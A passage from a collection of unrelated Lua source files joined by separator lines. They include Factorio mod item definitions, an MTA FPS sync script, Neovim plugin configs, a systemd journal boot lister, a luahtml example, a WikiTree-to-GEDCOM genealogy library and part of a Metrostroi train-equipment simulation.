["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnicium-plate.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "omnicium-iron-alloy",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnicium-iron-alloy.png",
["icon-size"] = 64,
["icon-additions"] = {
{
["icon"] = "__base__/graphics/icons/iron-plate.png",
["icon_size"] = 64,
["scale"] = 0.21875,
["shift"] = {-10, 10}
}
}
},
{
["item-name"] = "omnicium-steel-alloy",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnicium-steel-alloy.png",
["icon-size"] = 64,
["icon-additions"] = {
{
["icon"] = "__base__/graphics/icons/steel-plate.png",
["icon_size"] = 64,
["scale"] = 0.21875,
["shift"] = {-10, 10}
}
}
},
{
["item-name"] = "omnicium-gear-wheel",
["unlock-tier"] = "deadlock-stacking-1",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnicium-gear-wheel.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "omnicium-iron-gear-box",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnicium-iron-gear-box.png",
["icon-size"] = 64,
["icon-additions"] = {}
}
}
-- Defined fluidss
stackables.fluids = {}
return stackables
|
local SYNC_INTERVAL = 5 * 10^3
addEvent("gra.mFps.sync", true)
mFps = {}
function mFps.init()
setTimer(mFps.send, SYNC_INTERVAL, 0)
addEventHandler("onClientPreRender", root, mFps.onPreRender)
addEventHandler("gra.mFps.sync", root, mFps.sync)
return true
end
addEventHandler("onClientResourceStart", resourceRoot, mFps.init)
function mFps.send()
local fps = cElementsData.get(localPlayer, "mFps.fps")
if not fps then return false end
return triggerLatentServerEvent("gra.mFps.sync", localPlayer, fps)
end
function mFps.onPreRender(msSinceLastFrame)
cElementsData.set(localPlayer, "mFps.fps", math.floor((1 / msSinceLastFrame) * 1000))
end
function mFps.sync(fps)
if not isElement(source) then return end
if source == localPlayer then return end
cElementsData.set(source, "mFps.fps", fps)
end
function mFps.get(player)
if not scheck("u:element:player") then return false end
return cElementsData.get(player, "mFps.fps")
end
--------------- API ---------------
function getPlayerFPS(player)
if not scheck("u:element:player") then return false end
return mFps.get(player)
end |
local M = {}
M.config = function ()
local cmp = require'cmp'
local lspkind = require('lspkind')
cmp.setup({
snippet = {
expand = function(args)
require('luasnip').lsp_expand(args.body)
end,
},
mapping = {
['<C-b>'] = cmp.mapping(cmp.mapping.scroll_docs(-4), { 'i', 'c' }),
['<C-f>'] = cmp.mapping(cmp.mapping.scroll_docs(4), { 'i', 'c' }),
['<C-Space>'] = cmp.mapping(cmp.mapping.complete(), { 'i', 'c' }),
['<C-y>'] = cmp.config.disable,
['<C-e>'] = cmp.mapping({
i = cmp.mapping.abort(),
c = cmp.mapping.close(),
}),
['<CR>'] = cmp.mapping.confirm({ select = true }),
},
sources = cmp.config.sources({
{ name = 'nvim_lsp' },
{ name = 'luasnip' },
}),
formatting = {
format = lspkind.cmp_format({
with_text = true,
menu = {
nvim_lsp = "[LSP]",
luasnip = "[LuaSnip]"
}
}),
},
})
end
return M
|
#!/usr/bin/env lua
--[[
This program acts like journalctl --list-boots
]]
local sj = require "systemd.journal"
local j = assert(sj.open())
local t = {}
local n = 0
for boot_id in j:each_unique("_BOOT_ID") do
local boot_info = {
id = boot_id;
}
n = n + 1
t[n] = boot_info
-- We need to find the first and last entries for each boot
assert(j:add_match("_BOOT_ID="..boot_id))
assert(j:seek_head())
assert(j:next())
boot_info.head = j:get_realtime_usec()
assert(j:seek_tail())
assert(j:previous())
boot_info.tail = j:get_realtime_usec()
j:flush_matches()
end
table.sort(t, function(a,b) return a.head < b.head end)
local d_width = math.floor(math.log(n, 10))+2
for i=1, n do
local boot_info = t[i]
io.write(string.format("%"..d_width.."d %s %s—%s\n",
i-n, boot_info.id,
os.date("%a %Y-%m-%d %H:%M:%S %Z", boot_info.head/1e6),
os.date("%a %Y-%m-%d %H:%M:%S %Z", boot_info.tail/1e6)
))
end
|
#!/bin/usr/env lua
--[[
MIT License
Copyright (c) 2016 John Pruitt <jgpruitt@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
--]]
local luahtml = require("luahtml")
local function view(model)
local _ENV = luahtml.import()
return render{
doctype{},
html{
head{
title{model.title}
},
body{
h1{id = "header1", "A Header for ", model.h1},
p{id = "p1", class="para", "This is a paragraph!"},
p{id = "p2", class="para", "This is another paragraph!"},
ol{
li{"one"},
li{"two"},
li{"three"}
}
}
}
}
end
local out = view{
title = "Example 02",
h1 = "Example 02",
}
print(out) |
#! /usr/bin/env lua
--- wikitree-lifelines.lua © Dirk Laurie 2017 MIT license like that of Lua
-- Provides Person and Crowd classes with WikiTree field names and
-- LifeLines-like methods.
-- Person
-- The typical object is just the Lua table representing a Person object.
-- The nested lists returned by getRelatives, getAncestors etc are not
-- allowed. A front-end should be written that replaces them by lists
-- of Id's.
-- LifeLines functions that take an INDI as first argument are implemented
---as member functions of Person, e.g.
-- birth(INDI) becomes Person:birth()
-- father(INDI) becomes Person:father()
-- Crowd
-- A table of Persons. Keys depend on context, but would mostly be
-- the string version of the WikiTree 'Id', e.g. ["12345678"]. A
-- simplified version of the WikiTree 'Name' stored as 'person.simple'
-- is generated when the Person is created, e.g. 'Laurie-474' becomes
-- 'Laurie474'. These are used as keys in 'crowd._simple', and thanks to
-- some metatable magic, can be used to index 'crowd', but should not
-- be used as an actual index in 'crowd' itself.
-- A Family is a table with children numbered 1,2,... It has no metatable.
--[=[ LifeLines emulation
* LifeLines Person and Family functions have Lua counterparts that can be
called using object notation.
* LifeLines iterators become Lua generic 'for' statements in a fairly
obvious way.
LifeLines
: `children(family,person,cnt) { commands }`
Lua
: `for person,cnt in family:children() do commands end`
* The LifeLines feature that the value of an expression is automatically
written to the output file is not possible in Lua: explicit writes are
required.
1. Global tables
Indi: A Crowd of all Persons, indexed by string-valued WikiTree Id.
Indi._Fam: A table of all Families, indexed by the WikiTree Id of father
and mother, formatted as a table literal, e.g. "{1234567,2345678}".
This table is not updated continually and must be regenerated when
there is doubt as to its freshness by 'crowd:makeFamilies()'.
-- Apart from being accessible by Crowd methods, Indi is also exploited
-- by some LifeLines functions that need to look up an Id.
2. Iterators on global tables
forindi, forfam
These must be called using Lua syntax, i.e.
for indi,int in forindi() do
for fam,int in forfam() do
3. Basic objects
Lua types represent the following LifeLines value types:
null: VOID
boolean: BOOL
string: STRING
number: INT, FLOAT, NUMBER
table: EVENT, FAM, INDI, LIST, NODE, SET, TABLE
[[]=]
local function message(...)
io.write(...); io.write('\n')
end
-- GEDCOM interface
local MONTH = {"JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP",
"OCT","NOV","DEC"}
local Month = {"Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep",
"Oct","Nov","Dec"}
local gedcomDate = function(date,status)
-- status not yet available from WikiTree Apps
local year,month,day
if type(date) == 'table' then -- as returned by os.date"*t"
year,month,day = date.year,date.month,date.day
elseif type(date)=='string' then -- as provided by WikiTree API
year,month,day = date:match"(%d%d%d%d)%-(%d%d)%-(%d%d)"
else
return
end
local D = {}
local d = tonumber(day)
local m = tonumber(month)
local y = tonumber(year)
assert(d and m and y and (y>0 or m==0 and d==0),date)
assert(m>0 or d==0,date)
if d>0 then D[#D+1] = day end
if m>0 then D[#D+1] = Month[m] end
if y>0 then D[#D+1] = year end
if #D>0 then return table.concat(D,' ') end
end
local gedcomBirthName = function(person)
return person.BirthName or person.BirthNamePrivate
end
local gedcomFamilies = function(person)
local fams = {}
for _,spouse in ipairs(person.Spouses) do
local dad, mom = person.Id, spouse
if person.Gender:match"F" then dad, mom = mom, dad end
fams[#fams+1] = '@' .. familyKey(dad,mom) .. '@'
end
return fams
end
local gedcomChildren = function(family)
local children = {}
for _,child in ipairs(family) do
children[#children+1] = '@' .. child.Id .. '@'
end
return children
end
local function gedcomAssemble(gedcom,tag,indent)
if not gedcom then return end
indent = indent or ''
local buffer = {indent..gedcom.level}
buffer[#buffer+1] = gedcom.code
buffer[#buffer+1] = tag
buffer[#buffer+1] = gedcom.data
buffer = {table.concat(buffer,' ')}
for k,v in pairs(gedcom) do if k==k:upper() then
if type(v) == 'table' then
if #v>0 then -- list
for _,item in ipairs(v) do
buffer[#buffer+1] = indent.." "..
table.concat({gedcom.level+1,k,item},' ')
end
elseif next(v) then -- not empty
buffer[#buffer+1] = gedcomAssemble(v,k,indent.." ")
end
else
buffer[#buffer+1] = indent.." "..table.concat({gedcom.level+1,k,v},' ')
end
end end
return table.concat(buffer,'\n')
end
local use = "%s"
--- toGEDCOM(tbl,template)
-- Create a Lua table corresponding to a Level 0 GEDCOM record by
-- inserting data from 'tbl' into a clone of 'template'. The predefined
-- templates are in 'gedcomTemplate'; see the comments there for template
-- semantics.
toGEDCOM = function(tbl,template,level)
level = level or 0
if type(template)=='string' then return template
elseif type(template)=='function' then return template(tbl)
else assert(type(template=='table'),"Illegal type '"..type(template)
.."' in template at level "..level)
end
local key,value = next(template)
if not key then return end
local data = tbl[key]
if not next(template,key) then -- one-entry table
if data then
if type(value)=='string' then
if not data or data=='' then return end
return value:format(data)
elseif type(value)=='function' then return value(data)
end
else return
end
end
local clone={}
for tag,value in pairs(template) do
clone[tag] = toGEDCOM(tbl,value,level+1)
end
if next(clone) then
clone.level = level
return clone
end
end
-- TEMPLATE ENCODING
-- Suppose the template is used to generate GEDCOM encoding for 'person',
-- and 'key,value' is a pair in the template.
-- * If 'key' is all CAPS, it is the GEDCOM tag. A 'code' field if any
-- comes before the tag, a 'data' field if any, after. E.g.
-- 'INDI = { code = {Id="@%s@"},' becomes
-- '0 '..("@%s@"}:format(person.Id).." INDI"
-- * If 'value' is a string, that is the data. E.g.
-- ' TYPE = "wikitree.user_id"' becomes the GEDCOM line
-- '2 TYPE wikitree.user_id'.
-- * If 'value' is a list of strings, one such line is generated
-- for each string in the list.
-- * If 'value' is a function, that function is applied to 'person' and
-- the result is treated as 'value' is above.
-- * If 'value' is a non-list with more than one pair, toGEDCOM is called
-- recursively. The GEDCOM level number is the depth of nesting in the
-- template.
-- * If 'value' is a table with only one pair '(wt,action)' and 'person[wt]'
-- does not exist, there is no data. Otherwise:
-- - If 'action' is a string, the data is 'action:format(person[wt])'.
-- Since by far the most common format is "%s", a string named 'use'
-- is predefined to mean just that.
-- - If 'action' is a function, the data is 'action(person[wt])'.
gedcomTemplate = {
HEAD = {
SOUR = "Lua WikiTree Apps",
CHAR = "UTF-8",
DATE = { date=gedcomDate }
};
INDI = { code = {Id="@%s@"},
NAME = { data = gedcomBirthName,
GIVN = {FirstName=use},
_MIDN = {MiddleName=use},
NICK = {Nicknames=use},
SURN = {LastNameAtBirth=use},
_MARN = {LastNameCurrent=use}, -- also used for current name of men
};
SEX = {Gender=function(n) return type(n)=='string' and n:sub(1,1) end},
BIRT = {
DATE = {BirthDate=gedcomDate},
PLAC = {BirthLocation=use},
};
DEAT = {
DATE = {DeathDate=gedcomDate},
PLAC = {DeathLocation=use},
};
WWW = {Name="https://www.WikiTree.com/wiki/%s"};
REFN = { data = {Id=use},
TYPE = "wikitree.user_id",
};
FAMS = gedcomFamilies,
FAMC = {_FAMC="@%s@"};
};
FAM = { code = {Id="@%s@"},
HUSB = {Husband="@%s@"};
WIFE = {Wife="@%s@"};
CHIL = gedcomChildren,
MARR = {
DATE = {MarriageDate=gedcomDate},
PLAC = {MarriagePlace=use}
};
}
}
local exportGEDCOM = function(tbl,tag)
return gedcomAssemble(toGEDCOM(tbl,gedcomTemplate[tag]),tag)
end
-------- end of GEDCOM interface --------
-- Custom global function 'all'
-- To be used instead of 'pairs' when the key is irrelevant.
-- for value[,num] in all(tbl) do ... end
-- Omits keys with underscores
-- Optional return value 'num' is incremented at each call.
function all(tbl)
local key=nil
local num=0
return function()
local val
repeat
key, val = next(tbl,key)
until key==nil or not (type(key)=='string' and key:match"^_")
num = key and num+1
return val,num
end
end
-- create empty classes
local metaPerson, metaCrowd = {}, {}
local Person = setmetatable({},metaPerson)
local Crowd = setmetatable({},metaCrowd)
Person.__index = Person
-- Crowd.__index will be provided later
local utf8_transliteration = { ["é"]="EE", ["ê"]="ES", ["ä"]="AE", ["ō"]="OE",
["ü"]="UE", ["ß"]="SS", ["ñ"]="NI" }
--- count keys, except those starting with an underscore
local countKeys = function(crowd)
local n=0
for v in all(crowd) do n=n+1 end
return n
end
-- return fields as an array
local function fields(tbl)
local f = {}
for k in pairs(tbl) do if type(k)=="string" and not k:match"^_" then
f[#f+1] = k
end end
table.sort(f)
return(f)
end
--- serialize list only, not general table
local function serialize(tbl)
if type(tbl)~='table' then return tostring(tbl) end
local t={}
local sep = ","
for k,v in ipairs(tbl) do
if type(v)=='table' then sep=";" end
t[k]=serialize(v)
end
return "{"..table.concat(t,sep).."}"
end
--- nonblank(s) is s if s is a non-blank string, otherwise false
local function nonblank(s)
return type(s)=='string' and s:match"%S" and s
end
--- nonblank(s) is s if s is a string containing [1-9], otherwise false
local function nonzero(s)
return type(s)=='string' and s:match"[1-9]" and s
end
--- 'by': sorting function to sort tables by specified key
-- e.g. table.sort(tbl,by'name')
local function by(key)
return function(a,b)
local ak, bk = a[key], b[key]
if type(ak)==type(bk) and ak<bk then return true end
end
end
--- simplify(Name,list)
-- Convert Name to a legal Lua name if possible, otherwise return it unchanged.
-- "Possible" means that all non-ASCII UTF-8 codepoints have been provided for.
-- Examples:
-- "van der Merwe-25" --> van_der_Merwe25
-- "Cronjé-10" --> CronjEE10
-- If Name already occurs in 'list', a non-false second value is also returned
local simplify = function(Name,list)
if not Name then return false end
local simplest = Name:gsub(" ","_"):gsub("-","")
local simple = simplest
for k,v in pairs(utf8_transliteration) do
simple = simple:gsub(k,v)
end
if simple:match"^[%a%w_]+$" then
Name=simple
if simple~=simplest then
message("'"..simplest.."' referred to as '"..simple.."'")
end
end
return Name, (type(list)=='table' and list[Name])
end
-- WikiTree API sometimes returns numbers as strings. This matters in
-- JSON and also matters in Lua, so we make sure integers are numbers.
local function convert_integers(tbl)
for k,v in pairs(tbl) do
v = tonumber(v)
if math.type(v)=='integer' then tbl[k]=v end
end
end
---
local isPerson = function(tbl)
return getmetatable(tbl)==Person
end
local isCrowd = function(tbl)
return getmetatable(tbl)==Crowd
end
--- import/export to Lua
-- crowd:toLua() Generate a Lua table literal for a list of Persons in a Crowd
Crowd.toLua = function(crowd)
local lua = {}
for person in all(crowd) do
lua[#lua+1] = person:toLua()
end
return "{\n"..table.concat(lua,";\n").."\n}"
end
-- crowd:fromLua() Generate a Crowd from a Lua table literal.
-- Loses field _start.
Crowd.fromLua = function(lua)
local data = load("return "..lua)
assert(data,"failed to load Crowd code")
data = data()
local crowd = {}
for _,person in ipairs(data) do
local key = tostring(person.Id)
assert(key~='nil',"Person with no Id")
crowd[key] = Person(person)
end
return Crowd(crowd)
end
Crowd.save = function(crowd,filename)
local lua=crowd:toLua()
local file=io.open(filename,"w")
file:write(lua):close()
end
Crowd.load = function(filename)
local file=io.open(filename)
return Crowd.fromLua(file:read"a")
end
local bool = {[true]='true',[false]='false'}
-- person:toLua() Generate a Lua table literal for a Person
Person.toLua = function(person)
local lua = {}
for k,v in pairs(person) do
assert(type(k)=='string' and k:match"^%a",
"bad key '"..tostring(k).."' in Person")
if type(v) == 'table' then
v = '{'..table.concat(v,",")..'}'
elseif type(v) == 'string' then
v = '"' .. v ..'"'
elseif type(v) == 'boolean' then
v = bool[v]
elseif type(v) ~= 'number' then
error("Can't handle field '"..k.."' of type "..type(v).." in a Person")
end
lua[#lua+1] = k .. '=' .. v
end
return " { "..table.concat(lua,";\n ").."\n }"
end
-- person:toLua() Generate Person from a Lua table literal
Person.fromLua = function(lua)
local person = load("return "..lua)
assert(person,"failed to load Person code: "..person)
return Person(person())
end
--- export to GEDCOM
Crowd.toGEDCOM = function(crowd)
crowd:makeFamilies()
local buffer = { exportGEDCOM( {date=os.date"*t"}, "HEAD") }
for person in all(crowd) do
buffer[#buffer+1] = person:toGEDCOM()
end
for id,family in pairs(crowd._Fams) do
buffer[#buffer+1] = exportGEDCOM(family,"FAM")
end
buffer[#buffer+1]="0 TRLR"
return table.concat(buffer,"\n")
end
Crowd.readGEDCOM = function(crowd,filename)
message"not implemented: Crowd.readGEDCOM"
end
Crowd.writeGEDCOM = function(crowd,filename)
local ged = crowd:toGEDCOM()
io.open(filename,"w"):write(tostring(ged)):close()
message("Wrote "..filename)
end
Person.toGEDCOM = function(person)
return exportGEDCOM(person,"INDI")
end
--- Crowd methods
Crowd.__len=countKeys
--- Crowd:init(tbl) or Crowd(tbl)
-- Turn a table of Persons into a Crowd (numeric keys and those starting
-- with an underscore are ignored)
Crowd.init = function(class,crowd)
for v in all(crowd) do
if not isPerson(v) then
error("at key "..k..": non-person found in array")
end
end
crowd._simple = {}
for v in all(crowd) do crowd._simple[v.simple] = v end
return setmetatable(crowd,class)
end
metaCrowd.__call=Crowd.init
Crowd.__newindex = function(crowd,key,value)
key = tostring(key)
if not key:match"^_" then -- skip hidden keys
if not isPerson(value) then
error("Attempt to assign non-person to key"..key)
end
crowd._simple[value.simple] = value
end
rawset(crowd,key,value)
end
--- crowd:find(target[,targets])
-- Return a sublist containing only entries whose refname matched 'target',
-- further filtered on whether selected fields match the patterns supplied
-- in 'targets'. NB: If you need equality, anchor the pattern, i.e. "^John$".
-- crowd:find("Laurie",{Name="Dirk"})
Crowd.find = function(crowd,target,targets)
targets = targets or {}
local found = setmetatable({},{__len=countKeys})
for v in crowd:indi() do
local matches = v:refname():match(target)
if matches then
for j,u in pairs(targets) do
if not (v[j] and v[j]:match(u)) then
matches = false
break
end
end
end
if matches then found[v.simple] = v end
end
return found
end
--- crowd:cache(person)
-- Store or merge person into crowd by Id
Crowd.cache = function(crowd,person)
assert(type(person)=='table' and person.Id,
"Can't cache something with no Id")
local Id = tostring(person.Id)
local old = crowd[Id]
if not old then crowd[Id] = Person(person)
else old:merge(person)
end
end
familyKey = function(father,mother)
local parents = {}
parents[#parents+1] = (father ~= null) and father
parents[#parents+1] = 'x'
parents[#parents+1]= (mother ~= null) and mother
if #parents>1 then return table.concat{father,'x',mother} end
end
--- crowd:makeFamilies(childless)
-- Creates a table 'crowd._Fams' of families involving persons in 'crowd'.
-- If 'childless' is true, families are also created for married couples
-- that have no children recorded in 'crowd'.
Crowd.makeFamilies = function(crowd,childless)
if crowd._Fams then return end
local Fam = {}
crowd._Fams = Fam
for person in all(crowd) do
local father, mother = person.Father, person.Mother
local key = familyKey(father,mother)
if key then
local fam = Fam[key] or {Husband=father,Wife=mother,Id=key}
Fam[key] = fam
fam[#fam+1] = person
person._FAMC = key
end
end
for _,v in pairs(Fam) do
table.sort(v,by"BirthDate")
end
if not childless then return end
for person in all(crowd) do
local father = person.Id
local spouses = person.Spouses
if spouses then for _,mother in pairs(spouses) do
local father = father
spouse = crowd[mother]
if spouse then
if person.Gender=='Female' and spouse.Gender=='Male' then
father, mother = mother, father
end
local key = familyKey(father,mother)
-- TODO: the print statement below is not reached with the current test data
if not Fam[key] then print("Creating childless family "..key) end
Fam[key] = Fam[key] or {Husband=father,Wife=mother,Id=key}
end
end end
end
end
Crowd.toSAG = function(crowd)
message"not implemented: Crowd.toSAG"
end
--- functions modelled on LifeLines that need a Crowd as context
--- for v,n in crowd:indi() do
-- iterates through a Crowd
Crowd.indi = function(crowd)
return all(crowd)
end
--- Person methods
--- Person:init(tbl) or Person(tbl)
-- Turn a table into a Person
Person.init = function(class,person)
if isPerson(person) then return person end
assert(type(person)=='table',"Can't make a Person from a "..type(person))
assert(person.Id,"Trying to make a Person without field Id; has " ..
table.concat(fields(person),","))
local Id = tostring(person.Id)
person.simple = simplify(person.Name) or Id
setmetatable(person,class)
if isCrowd(Indi) then Indi:cache(person) end
return person
end
metaPerson.__call=Person.init
Person.refname = function(person)
return(person:name(false,false,false,true,true))
end
Person.__tostring=Person.refname
local merge_decision = {}
--- person:merge(new)
-- Store fields from 'new' in 'person' if they seem to be better.
Person.merge = function(person,new)
local mustReplace = function(key,old,new)
if new == null or new==old then return false end
if old == nil or old == null then return true end
if merge_decision[key]~=nil then return merge_decision[key] end
if type(old)=='table' and type(new)=='table' then
-- tables are already known to be different if we get here
if #old==0 then return true
elseif #new==0 then return false
end
old, new = serialize(old), serialize(new)
if old==new then return false end
end
print(person.Name..": Merge values for key "..key.." differ: ",old,new)
print"Should the second value replace the first [Yes,No,Always,neVer])?"
local reply = io.read():sub(1,1):upper()
if reply=="A" then merge_decision[key]=true; reply="Y"
elseif reply=="V" then merge_decision[key]=false; reply="N"
end
return reply=="Y"
end
----
if new==nil then return person end
assert (isPerson(person) and type(new)=='table',
"merge called with invalid arguments")
assert (new.Id, "No Id for 'new', fields are "..table.concat(fields(new)))
assert (person.Id == new.Id,
("in 'merge', person.Id is %s but new.Id is %s of type %s"):format(
person.Id,new.Id,type(new.Id)))
for k,v in pairs(new) do
if mustReplace(k,person[k],v) then person[k]=v end
end
return person
end
--- functions modelled on LifeLines that need a Person as context.
--- returns {date=,place=,decade=}. 'decade' only if 'date' is omitted.
Person.birth = function(person)
return {date=person.BirthDate, place=person.BirthLocation,
decade=person.BirthDecade}
end
Person.father = function(person)
return Indi[person.Father]
end
Person.mother = function(person)
return Indi[person.Mother]
end
--- person:name(surnameupper,surnamefirst,trimto,withdates,bothnames)
-- Approximately LifeLines 'name' and 'fullname', except that
-- * "/.../" (second parameter of LifeLines 'name') is not supported
-- * 'trimto' is not implemented yet
-- * 'withdates' adds birth and death dates if available
-- * 'bothnames' gives LNC in parentheses
Person.name = function(p,surnameupper,surnamefirst,trimto,withdates,bothnames)
local parts={}
local function insert(item, format)
if not nonblank(item) then return end
if type(format)=="string" then item = format:format(item) end
parts[#parts+1] = item
end
local function insertsurname()
insert(p:surname(surnameupper,bothnames),surnamefirst and "%s,")
end
------
if surnamefirst then insertsurname() end
insert(p.Prefix)
insert(p.FirstName)
insert(p.MiddleName)
if not surnamefirst then insertsurname() end
insert(p.Suffix)
if withdates then
insert(nonzero(p.BirthDate),"* %s")
insert(nonzero(p.DeathDate),"+ %s")
end
return table.concat(parts," ")
end
local child_of = {
Afr = {Male="s.v.",Female="d.v.",Child="k.v.",AND="en"};
Eng = {Male="s.o.",Female="d.o.",Child="c.o.",AND="and"};
}
--- person:toSAG(options)
-- SAG representation of person as a string
-- 'options' is a table in which the following are recognized
-- withSurname=false Omit surname (must be exactly the boolean `false`)
-- withparents=1 Any Lua true value will do
-- lang='Any' Default is 'Afrikaans'. Specifying an unsupported
-- language is tantamount to 'English'.
Person.toSAG = function(p,options)
options = options or {}
local parts={}
local function insert(item, format)
if not nonblank(item) then return end
if type(format)=="string" then item = format:format(item) end
parts[#parts+1] = item
end
local insertEvent = function(code,place,date)
date = nonzero(date)
place = nonblank(place)
if not (place or date) then return end
insert(place or date,code.." %s")
if place and date then insert(date) end
end
---
insert(p.FirstName)
insert(p.MiddleName)
if not (options.withSurname == false) then
insert(p:surname(true)) -- uppercase
end
insertEvent("*",p.BirthLocation,p.BirthDate)
insertEvent("~",p.BaptismLocation,p.BaptismDate)
insertEvent("+",p.DeathLocation,p.DeathDate)
if options.withParents then while true do
local father, mother = p:father(), p:mother()
if not (father or mother) then break end
father = father and father:name(true)
mother = mother and mother:name(true)
options.language = options.language or "Afrikaans"
options.language = options.language:sub(1,3)
local lang = child_of[options.language] or child_of.Eng
local CO = p.Gender or "Child"
if father and mother then
insert(("%s %s %s %s"):format(lang[CO],father,lang.AND,mother))
else
insert(("%s %s"):format(lang[CO],father or mother))
end
break
end end
return table.concat(parts," ")
end
--- person:surname(surnameupper,surnamefirst)
-- Approximately LifeLines 'surname' and 'fullname', except that
-- the options to capitalize the surname and to give two surnames
-- are available.
Person.surname = function(p,surnameupper,bothnames)
local LNAB = nonblank(p.LastNameAtBirth)
local LNC = nonblank(p.LastNameCurrent)
if surnameupper then
LNAB, LNC = LNAB and LNAB:upper(), LNC and LNC:upper()
end
if LNAB then
if bothnames and LNC and LNC~=LNAB then
LNAB = LNAB .. " x "..LNC
end
else
LNAB = LNC
end
return LNAB
end
Crowd.__index = function(crowd,key)
-- numeric keys or methods
local item = rawget(Crowd,key) or rawget(crowd,tostring(key))
if item then return item end
local simple = crowd._simple
if simple then
item = rawget(simple,key)
if item then return item end
end
end
-- suppy global tables
Indi = Crowd{}
return {Person=Person, Crowd=Crowd, isPerson=isPerson, isCrowd=isCrowd}
|
local wiki = {}
wiki.path = '~/vimwiki/'
wiki.syntax = 'markdown'
wiki.ext = '.md'
vim.g.vimwiki_list = { wiki }
vim.g.vimwiki_url_maxsave = 0
vim.g.vimwiki_global_ext = 0
|
--------------------------------------------------------------------------------
-- ПА-М Поездная Аппаратура Модифицированная
-- PA-M Modified Train Equipment
--------------------------------------------------------------------------------
Metrostroi.DefineSystem("PA-M")
TRAIN_SYSTEM.DontAccelerateSimulation = true
function TRAIN_SYSTEM:Initialize()
self.Train:LoadSystem("BRight","Relay","Switch",{button = true})
self.Train:LoadSystem("BEsc","Relay","Switch",{button = true})
self.Train:LoadSystem("BF","Relay","Switch",{button = true})
self.Train:LoadSystem("BM","Relay","Switch",{button = true})
self.Train:LoadSystem("BP","Relay","Switch",{button = true})
self.TriggerNames = {
"B7",
"B8",
"B9",
"BLeft",
"BRight",
"B4",
"B5",
"B6",
"BUp",
"B1",
"B2",
"B3",
"BDown",
"B0",
"BMinus",
"BPlus",
"BEnter",
"BEsc",
"BF",
"BM",
"BP",
}
self.Triggers = {}
self.Pass = "777"
self.EnteredPass = ""
self.Timer = CurTime()
self.Line = 1
self.State = 0
self.RealState = 99
self.RouteNumber = ""
self.FirstStation = ""
self.LastStation = ""
self.AutoTimer = false
self.Corrections = {
[110] = 1.50,
[111] = -0.10,
[113] = -0.05,
--[114] = -0.05,
[114] = -0.25,
[117] = -0.15,
[118] = 1.40,
[121] = -0.10,
[122] = -0.10,
[123] = 3.00,
[322] = 3.00,
}
self.MenuChoosed = 1
self.State75 = 1
end
function TRAIN_SYSTEM:ClientInitialize()
self.STR1r = {}
self.STR2r = {}
self.STR1x = 1
self.STR2x = 1
self.Positions = {
[-3] = "T2",
[-2] = "T1a",
[-1] = "T1",
[0] = "0",
[1] = "X1",
[2] = "X2",
[3] = "X3",
--[4] = "RR0",
[5] = "0ХТ",
[6] = "T2",
}
self.TypesRussian = {
[0] = "ЭПВ",
[1] = "КС",
[2] = "ОД",
[3] = "КВ",
[4] = "УА",
[5] = "ОС",
}
self.TypesEnglish = {
[0] = "EPV",
[1] = "KS",
[2] = "OD",
[3] = "KV",
[4] = "UA",
[5] = "OS",
}
self.QuestionsRussian = {
[1] = "проверку наката",
[5] = "движение с Vф=0",
[6] = "изменение станции оборота",
[7] = "режим фиксации станции",
}
self.QuestionsEnglish = {
[1] = "overrun check",
[5] = "drive if Vf=0",
[6] = "change station rotation",
[7] = "lock station mode",
}
local translate = file.Read("metrostroi_data/language/pam_en.json")
if translate then
self.i18n = util.JSONToTable(translate)
end
self.T = function (source)
if self.i18n and self.BlokEN and self.i18n[source] ~= nil then
return self.i18n[source]
else
if self.i18n and self.BlokEN then print("Need translation for \""..source.."\"") end
return source
end
end
self.BlokEN=false
self.Types=self.TypesRussian
self.Questions=self.QuestionsRussian
self.AutoTimer = false
end
if TURBOSTROI then return end
function TRAIN_SYSTEM:Inputs()
return { "Press" }
end
if CLIENT then
surface.CreateFont("Metrostroi_PAM30", {
font = "Arial",
size = 30,
weight = 700,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
extended = true,
})
surface.CreateFont("Metrostroi_PAM50", {
font = "Arial",
size = 50,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM60", {
font = "Arial",
size = 60,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM25", {
font = "Arial",
size = 25,
weight = 400,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM1_25", {
font = "Arial",
size = 25,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
